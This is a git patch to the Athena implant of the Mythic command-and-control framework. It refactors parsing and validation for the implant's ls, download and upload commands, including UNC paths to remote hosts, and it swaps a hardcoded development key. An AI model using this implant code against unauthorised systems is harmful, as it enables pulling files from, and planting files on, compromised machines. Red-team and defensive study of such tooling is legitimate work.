From f4ae502baa1b6ff19ab10b60e4a5dac61b99ef8f Mon Sep 17 00:00:00 2001 From: checkymander <26147220+checkymander@users.noreply.github.com> Date: Mon, 5 Feb 2024 22:35:35 -0500 Subject: [PATCH] Dev (#59) * update parsing of ls, download, and upload --- .../Agent.Models/Comms/Tasks/DownloadArgs.cs | 34 ++++- .../Agent.Models/Comms/Tasks/ServerJob.cs | 10 +- .../agent_code/Agent/Config/AgentConfig.cs | 4 +- .../athena/agent_code/download/download.cs | 4 +- .../athena/athena/agent_code/ls/LsArgs.cs | 13 ++ .../athena/athena/agent_code/ls/ls.cs | 9 +- .../athena/agent_code/upload/UploadArgs.cs | 75 ++++++++++ .../athena/athena/agent_code/upload/upload.cs | 139 ++++++++++-------- .../athena/mythic/agent_functions/download.py | 105 +++++++------ .../athena/mythic/agent_functions/upload.py | 49 +++--- 10 files changed, 283 insertions(+), 159 deletions(-) create mode 100644 Payload_Type/athena/athena/agent_code/upload/UploadArgs.cs diff --git a/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/DownloadArgs.cs b/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/DownloadArgs.cs index b33237133..56e7202c1 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/DownloadArgs.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/DownloadArgs.cs @@ -1,31 +1,55 @@ using System; using System.Collections.Generic; using System.Linq; +using System.Net; using System.Text; using System.Threading.Tasks; +using System.Xml; namespace Agent.Models { public class DownloadArgs { - public string host { get; set; } + public string path { get; set; } public string file { get; set; } - public int chunk_size { get; set; } = 85000; + public string host { get; set; } public bool Validate(out string message) { message = String.Empty; - if (string.IsNullOrEmpty(file)) + + //If we didn't get a path, then return an error + if (string.IsNullOrEmpty(path)) { - message = "Missing file parameter"; + message = "Missing path parameter"; return false; } - if (!File.Exists(file)) + //If we get to this point we either have a full path, or we're using the file browser and have all three + //If we have a file combine it with the existing path + if (!string.IsNullOrEmpty(file)) + { + this.path = Path.Combine(this.path, this.file); + } + + //If we have a host, append it to the beginning of the path + if (!string.IsNullOrEmpty(host)) + { + if(!host.Equals(Dns.GetHostName(), StringComparison.OrdinalIgnoreCase)) + { + host = "\\\\" + host; + + this.path = Path.Combine(this.host, this.path); + } + } + + + if (!File.Exists(this.path)) { message = "File doesn't exist."; return false; } + return true; } } diff --git a/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/ServerJob.cs b/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/ServerJob.cs index 788a07a6d..80e7e7654 100644 --- a/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/ServerJob.cs +++ b/Payload_Type/athena/athena/agent_code/Agent.Models/Comms/Tasks/ServerJob.cs @@ -55,15 +55,7 @@ public ServerDownloadJob(ServerJob job, DownloadArgs args, int chunk_size) this.complete = job.complete; this.cancellationtokensource = new CancellationTokenSource(); this.chunk_num = 0; - this.path = args.file.Replace("\"", string.Empty); - this.chunk_size = args.chunk_size; - if (!string.IsNullOrEmpty(args.host)) - { - if (!args.file.Contains(":") && !args.file.StartsWith("\\\\")) //It's not a local path, and it's not already in UNC format - { - this.path = @"\\" + args.host + @"\" + args.file; - } - } + this.path = args.path.Replace("\"", string.Empty); } } diff --git a/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs b/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs index f4027b913..b0510667b 100644 --- a/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs +++ b/Payload_Type/athena/athena/agent_code/Agent/Config/AgentConfig.cs @@ -52,8 +52,8 @@ public AgentConfig() #if CHECKYMANDERDEV sleep = 1; jitter = 1; - uuid = "1983c222-a0d0-44be-a785-d8263727e437"; - psk = "cVe+0wszHsfwqlLxBhxYFoOr99m+rmLgTTqO/1Wbo+c="; + uuid = "cd2a0901-9b45-4c2e-ad99-dac0199b812b"; + psk = "k6apiKVMVFuZD6kq3qWHQ4oaqIfNXw+mD6D6K5eBBcM="; killDate = DateTime.Now.AddYears(1); #else uuid = "%UUID%"; diff --git a/Payload_Type/athena/athena/agent_code/download/download.cs b/Payload_Type/athena/athena/agent_code/download/download.cs index 78b8ef968..3827bb683 100644 --- a/Payload_Type/athena/athena/agent_code/download/download.cs +++ b/Payload_Type/athena/athena/agent_code/download/download.cs @@ -41,8 +41,8 @@ public Plugin(IMessageManager messageManager, IAgentConfig config, ILogger logge public async Task Execute(ServerJob job) { DownloadArgs args = JsonSerializer.Deserialize(job.task.parameters); - - if(!args.Validate(out var message)) + string message = string.Empty; + if(args is null || !args.Validate(out message)) { await messageManager.AddResponse(new DownloadResponse { diff --git a/Payload_Type/athena/athena/agent_code/ls/LsArgs.cs b/Payload_Type/athena/athena/agent_code/ls/LsArgs.cs index 3239e9b4c..6e260e064 100644 --- a/Payload_Type/athena/athena/agent_code/ls/LsArgs.cs +++ b/Payload_Type/athena/athena/agent_code/ls/LsArgs.cs @@ -11,5 +11,18 @@ public class LsArgs public string path { get; set; } public string file { get; set; } public string host { get; set; } + public bool Validate() + { + if (string.IsNullOrEmpty(this.path)) + { + this.path = Directory.GetCurrentDirectory(); + } + + if (!string.IsNullOrEmpty(this.file)) + { + this.path = Path.Combine(this.path, this.file); + } + return true; + } } } diff --git a/Payload_Type/athena/athena/agent_code/ls/ls.cs b/Payload_Type/athena/athena/agent_code/ls/ls.cs index 2ad3ba2c9..6800b4542 100644 --- a/Payload_Type/athena/athena/agent_code/ls/ls.cs +++ b/Payload_Type/athena/athena/agent_code/ls/ls.cs @@ -23,14 +23,11 @@ public async Task Execute(ServerJob job) { LsArgs args = JsonSerializer.Deserialize(job.task.parameters); - if (string.IsNullOrEmpty(args.path)) - { - args.path = Directory.GetCurrentDirectory(); - } - if (!string.IsNullOrEmpty(args.file)) + if(args is null || !args.Validate()) { - args.path = Path.Combine(args.path, args.file); + await messageManager.Write("Failed to parse arguments", job.task.id, true, "error"); + return; } if (string.IsNullOrEmpty(args.host) || args.host.Equals(Dns.GetHostName(), StringComparison.OrdinalIgnoreCase)) diff --git a/Payload_Type/athena/athena/agent_code/upload/UploadArgs.cs b/Payload_Type/athena/athena/agent_code/upload/UploadArgs.cs new file mode 100644 index 000000000..c6f37a2ed --- /dev/null +++ b/Payload_Type/athena/athena/agent_code/upload/UploadArgs.cs @@ -0,0 +1,75 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading.Tasks; + +namespace upload +{ + public class UploadArgs + { + public string path { get; set; } + public string filename { get; set; } + public string file { get; set; } + public bool Validate(out string message) + { + message = String.Empty; + + //If we didn't get a path set it to the current directory + if (string.IsNullOrEmpty(path) || path == ".") + { + path = Directory.GetCurrentDirectory(); + } + + if(!Directory.Exists(path)) + { + message = "Directory doesn't exist!"; + return false; + } + + if (!CanWriteToFolder(path)) + { + message = "Path not writeable."; + return false; + } + + if (string.IsNullOrEmpty(filename)) + { + message = "No filename specified"; + return false; + } + + path = Path.Combine(path, filename); + return true; + } + private bool CanWriteToFolder(string folderPath) + { + try + { + var directory = Path.GetDirectoryName(folderPath); + // Check if the folder exists + if (Directory.Exists(directory)) + { + // Try to create a temporary file in the folder + string tempFilePath = Path.Combine(directory, Path.GetRandomFileName()); + using (FileStream fs = File.Create(tempFilePath)) { } + + // If successful, delete the temporary file + File.Delete(tempFilePath); + + return true; + } + else + { + return false; + } + } + catch (Exception ep) + { + // An exception occurred, indicating that writing to the folder is not possible + return false; + } + } + } +} diff --git a/Payload_Type/athena/athena/agent_code/upload/upload.cs b/Payload_Type/athena/athena/agent_code/upload/upload.cs index 1be2818da..0dcaf46c1 100644 --- a/Payload_Type/athena/athena/agent_code/upload/upload.cs +++ b/Payload_Type/athena/athena/agent_code/upload/upload.cs @@ -4,6 +4,9 @@ using Agent.Utilities; using System.Collections.Concurrent; using System.Diagnostics; +using System.IO; +using System.Text.Json; +using upload; namespace Agent { @@ -27,42 +30,39 @@ public Plugin(IMessageManager messageManager, IAgentConfig config, ILogger logge public async Task Execute(ServerJob job) { ServerUploadJob uploadJob = new ServerUploadJob(job, this.config.chunk_size); - Dictionary uploadParams = Misc.ConvertJsonStringToDict(job.task.parameters); - uploadJob.path = uploadParams["remote_path"]; - if (uploadParams.ContainsKey("host") && !string.IsNullOrEmpty(uploadParams["host"])) + UploadArgs args = JsonSerializer.Deserialize(job.task.parameters); + //Dictionary uploadParams = Misc.ConvertJsonStringToDict(job.task.parameters); + string message = string.Empty; + if (args is null || !args.Validate(out message)) { - if (!uploadParams["remote_path"].Contains(":") && !uploadParams["remote_path"].StartsWith("\\\\")) //It's not a local path, and it's not already in UNC format + await messageManager.AddResponse(new DownloadResponse { - uploadJob.path = @"\\" + uploadParams["host"] + @"\" + uploadParams["remote_path"]; - } - } - if (uploadParams.ContainsKey("chunk_size") && !string.IsNullOrEmpty(uploadParams["chunk_size"])) - { - try - { - uploadJob.chunk_size = int.Parse(uploadParams["chunk_size"]); - } - catch { } + status = "error", + process_response = new Dictionary { { "message", message } }, + completed = true, + task_id = job.task.id + }.ToJson()); + return; } - uploadJob.file_id = uploadParams["file"]; + + uploadJob.path = args.path; + uploadJob.file_id = args.file; uploadJob.task = job.task; uploadJob.chunk_num = 1; - if (!CanWriteToFolder(uploadJob.path)) - { - await messageManager.Write("Folder is not writeable", job.task.id, true, "error"); - return; - } - - if (File.Exists(uploadJob.path)) + if(!uploadJobs.TryAdd(job.task.id, uploadJob)) { - await messageManager.Write("File already exists.", job.task.id, true, "error"); + await messageManager.AddResponse(new DownloadResponse + { + status = "error", + user_output = "failed to add job to tracker", + completed = true, + task_id = job.task.id + }.ToJson()); return; } - uploadJobs.GetOrAdd(job.task.id, uploadJob); - await messageManager.AddResponse(new UploadResponse { task_id = job.task.id, @@ -80,13 +80,45 @@ public async Task HandleNextMessage(ServerResponseResult response) { ServerUploadJob uploadJob = this.GetJob(response.task_id); + if(uploadJob is null) + { + await messageManager.AddResponse(new ResponseResult + { + status = "error", + completed = true, + task_id = response.task_id, + user_output = "Failed to get job", + }.ToJson()); + return; + } + if (uploadJob.cancellationtokensource.IsCancellationRequested) { + await messageManager.AddResponse(new ResponseResult + { + status = "error", + completed = true, + task_id = response.task_id, + user_output = "Cancellation Requested", + }.ToJson()); this.CompleteUploadJob(response.task_id); + return; } if (uploadJob.total_chunks == 0) { + if(response.total_chunks == 0) + { + await messageManager.AddResponse(new ResponseResult + { + status = "error", + completed = true, + task_id = response.task_id, + user_output = "Failed to get number of chunks", + }.ToJson()); + return; + } + uploadJob.total_chunks = response.total_chunks; //Set the number of chunks provided to us from the server } @@ -103,8 +135,15 @@ await messageManager.AddResponse(new ResponseResult return; } - if(!await this.HandleNextChunk(Misc.Base64DecodeToByteArray(response.chunk_data), response.task_id)) + if(!this.HandleNextChunk(Misc.Base64DecodeToByteArray(response.chunk_data), response.task_id)) { + await messageManager.AddResponse(new ResponseResult + { + status = "error", + completed = true, + task_id = response.task_id, + user_output = "Failed to process message.", + }.ToJson()); this.CompleteUploadJob(response.task_id); return; } @@ -123,6 +162,7 @@ await messageManager.AddResponse(new ResponseResult full_path = uploadJob.path } }; + if (response.chunk_num == uploadJob.total_chunks) { ur = new UploadResponse() @@ -157,17 +197,27 @@ private void CompleteUploadJob(string task_id) /// Read the next chunk from the file /// /// Download job that's being tracked - private async Task HandleNextChunk(byte[] bytes, string job_id) + private bool HandleNextChunk(byte[] bytes, string job_id) { ServerUploadJob job = uploadJobs[job_id]; try { - await Misc.AppendAllBytes(job.path, bytes); + using (var stream = new FileStream(job.path, FileMode.Append)) + { + try + { + stream.Write(bytes, 0, bytes.Length); + } + catch (Exception e) + { + this.messageManager.WriteLine(e.ToString(), job_id, true, "error"); + } + } return true; } catch (Exception e) { - await this.messageManager.WriteLine(e.ToString(), job_id, true, "error"); + this.messageManager.WriteLine(e.ToString(), job_id, true, "error"); return false; } } @@ -179,36 +229,5 @@ private ServerUploadJob GetJob(string task_id) { return uploadJobs[task_id]; } - - private bool CanWriteToFolder(string folderPath) - { - try - { - var directory = Path.GetDirectoryName(folderPath); - // Check if the folder exists - if (Directory.Exists(directory)) - { - // Try to create a temporary file in the folder - string tempFilePath = Path.Combine(directory, Path.GetRandomFileName()); - using (FileStream fs = File.Create(tempFilePath)) { } - - // If successful, delete the temporary file - File.Delete(tempFilePath); - - return true; - } - else - { - return false; - } - } - catch (Exception ep) - { - // An exception occurred, indicating that writing to the folder is not possible - return false; - } - } - - } } diff --git a/Payload_Type/athena/athena/mythic/agent_functions/download.py b/Payload_Type/athena/athena/mythic/agent_functions/download.py index a8475e651..d562d7b89 100644 --- a/Payload_Type/athena/athena/mythic/agent_functions/download.py +++ b/Payload_Type/athena/athena/mythic/agent_functions/download.py @@ -1,6 +1,6 @@ from mythic_container.MythicCommandBase import * # import the basics from mythic_container.MythicRPC import * -import json +import json, os, re from .athena_utils import message_converter @@ -10,8 +10,8 @@ def __init__(self, command_line, **kwargs): super().__init__(command_line, **kwargs) self.args = [ CommandParameter( - name="file", - cli_name="Path", + name="path", + cli_name="path", display_name="Path to file to download.", type=ParameterType.String, description="File to download.", @@ -24,7 +24,7 @@ def __init__(self, command_line, **kwargs): ]), CommandParameter( name="host", - cli_name="Host", + cli_name="host", display_name="Host", type=ParameterType.String, description="File to download.", @@ -35,53 +35,68 @@ def __init__(self, command_line, **kwargs): ui_position=1 ), ]), + ] - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Require a path to download.\n\tUsage: {}".format(DownloadCommand.help_cmd)) - filename = "" - if self.command_line[0] == '"' and self.command_line[-1] == '"': #Remove double quotes if they exist - self.command_line = self.command_line[1:-1] - filename = self.command_line - elif self.command_line[0] == "'" and self.command_line[-1] == "'": #Remove single quotes if they exist - self.command_line = self.command_line[1:-1] - filename = self.command_line - elif self.command_line[0] == "{": #This is from JSON - args = json.loads(self.command_line) - if args.get("path") is not None and args.get("file") is not None: #If we have a path and a file it's likely from file browser - # Then this is a filebrowser thing - if args["path"][-1] == "\\": #Path already has a trailing slash so just append the file - self.add_arg("file", args["path"] + args["file"]) - else: #Path is missing a trailing slash so add it and then append the file - self.add_arg("file", args["path"] + "\\" + args["file"]) - self.add_arg("host", args["host"]) #Set the host - else: - # got a modal popup or parsed-cli - self.load_args_from_json_string(self.command_line) - if self.get_arg("host"): #Check if a host was set - if ":" in self.get_arg("host"): #If the host was set, but the path contains a : then it's unneeded. - if self.get_arg("file"): - self.add_arg("file", self.get_arg("host") + " " + self.get_arg("file")) - else: - self.add_arg("file", self.get_arg("host")) - self.remove_arg("host") + def build_file_path(self, parsed_info): + if parsed_info['host']: + # If it's a UNC path + file_path = f"\\\\{parsed_info['host']}\\{parsed_info['folder_path']}\\{parsed_info['file_name']}" else: - filename = self.command_line + # If it's a Windows or Linux path + file_path = os.path.join(parsed_info['folder_path'], parsed_info['file_name']) - if filename != "": - if filename[:2] == "\\\\": - # UNC path - filename_parts = filename.split("\\") - if len(filename_parts) < 4: - raise Exception("Illegal UNC path or no file could be parsed from: {}".format(filename)) - self.add_arg("host", filename_parts[2]) - self.add_arg("file", "\\".join(filename_parts[3:])) - else: - self.add_arg("file", filename) - self.remove_arg("host") + return file_path + + def parse_file_path(self, file_path): + # Check if the path is a UNC path + unc_match = re.match(r'^\\\\([^\\]+)\\(.+)$', file_path) + + if unc_match: + host = unc_match.group(1) + folder_path = unc_match.group(2) + file_name = None # Set file_name to None if the path ends in a folder + if folder_path: + file_name = os.path.basename(folder_path) + folder_path = os.path.dirname(folder_path) + else: + # Use os.path.normpath to handle both Windows and Linux paths + normalized_path = os.path.normpath(file_path) + # Split the path into folder path and file name + folder_path, file_name = os.path.split(normalized_path) + host = None + + # Check if the path ends in a folder + if not file_name: + file_name = None + # Check if the original path used Unix-style separators + if '/' in file_path: + folder_path = folder_path.replace('\\', '/') + return { + 'host': host, + 'folder_path': folder_path, + 'file_name': file_name + } + + async def parse_arguments(self): + if (len(self.raw_command_line) > 0): + if(self.raw_command_line[0] == "{"): + temp_json = json.loads(self.raw_command_line) + if "file" in temp_json: # This means it likely came from the file + self.add_arg("path", temp_json["path"]) + self.add_arg("host", temp_json["host"]) + self.add_arg("file", temp_json["file"]) + else: + self.add_arg("path", temp_json["path"]) + self.add_arg("host", temp_json["host"]) + else: + print("parsing from raw command line") + path_parts = self.parse_file_path(self.raw_command_line) + combined_path = self.build_file_path({"host":"","folder_path":path_parts["folder_path"],"file_name":path_parts["file_name"]}) + self.add_arg("path", combined_path) + self.add_arg("host", path_parts["host"]) class DownloadCommand(CommandBase): cmd = "download" needs_admin = False diff --git a/Payload_Type/athena/athena/mythic/agent_functions/upload.py b/Payload_Type/athena/athena/mythic/agent_functions/upload.py index 059d3731b..71c2cd251 100644 --- a/Payload_Type/athena/athena/mythic/agent_functions/upload.py +++ b/Payload_Type/athena/athena/mythic/agent_functions/upload.py @@ -1,6 +1,6 @@ from mythic_container.MythicCommandBase import * from mythic_container.MythicRPC import * -import sys +import os, re from .athena_utils import message_converter @@ -19,32 +19,30 @@ def __init__(self, command_line, **kwargs): ] ), CommandParameter( - name="filename", cli_name="registered-filename", display_name="Filename within Mythic", description="Supply existing filename in Mythic to upload", - type=ParameterType.ChooseOne, + name="path", + cli_name="path", + display_name="Upload directory", + type=ParameterType.String, + description="Provide the path where the file will go", parameter_group_info=[ ParameterGroupInfo( - required=True, - ui_position=0, - group_name="specify already uploaded file by name" + required=False, + group_name="Default", + ui_position=1 ) ] ), CommandParameter( - name="remote_path", - cli_name="remote_path", - display_name="Upload path (with filename)", + name="filename", + cli_name="filename", + display_name="Upload filename", type=ParameterType.String, - description="Provide the path where the file will go", + description="Provide the name of the file to upload", parameter_group_info=[ ParameterGroupInfo( required=True, group_name="Default", - ui_position=1 - ), - ParameterGroupInfo( - required=True, - group_name="specify already uploaded file by name", - ui_position=1 + ui_position=2 ) ] ), @@ -53,17 +51,17 @@ def __init__(self, command_line, **kwargs): async def parse_arguments(self): if len(self.command_line) == 0: raise Exception("Require arguments.") - if self.command_line[0] != "{": + if self.command_line[0] != "{": # This should never hit since we're not using the CLI raise Exception("Require JSON blob, but got raw command line.") self.load_args_from_json_string(self.command_line) - remote_path = self.get_arg("remote_path") + remote_path = self.get_arg("path") if remote_path != "" and remote_path != None: remote_path = remote_path.strip() if remote_path[0] == '"' and remote_path[-1] == '"': remote_path = remote_path[1:-1] elif remote_path[0] == "'" and remote_path[-1] == "'": remote_path = remote_path[1:-1] - self.add_arg("remote_path", remote_path) + self.add_arg("path", remote_path) pass @@ -98,17 +96,8 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat else: raise Exception("Failed to fetch uploaded file from Mythic (ID: {})".format(taskData.args.get_arg("file"))) - taskData.args.add_arg("file_name", original_file_name, type=ParameterType.String) - host = taskData.args.get_arg("host") - path = taskData.args.get_arg("remote_path") - if path is not None and path != "": - if host is not None and host != "": - disp_str = "-File {} -Host {} -Path {}".format(original_file_name, host, path) - else: - disp_str = "-File {} -Path {}".format(original_file_name, path) - else: - disp_str = "-File {}".format(original_file_name) - response.DisplayParams = disp_str + path = taskData.args.get_arg("path") + response.DisplayParams = "Uploading {} to {}".format(original_file_name, path) return response async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: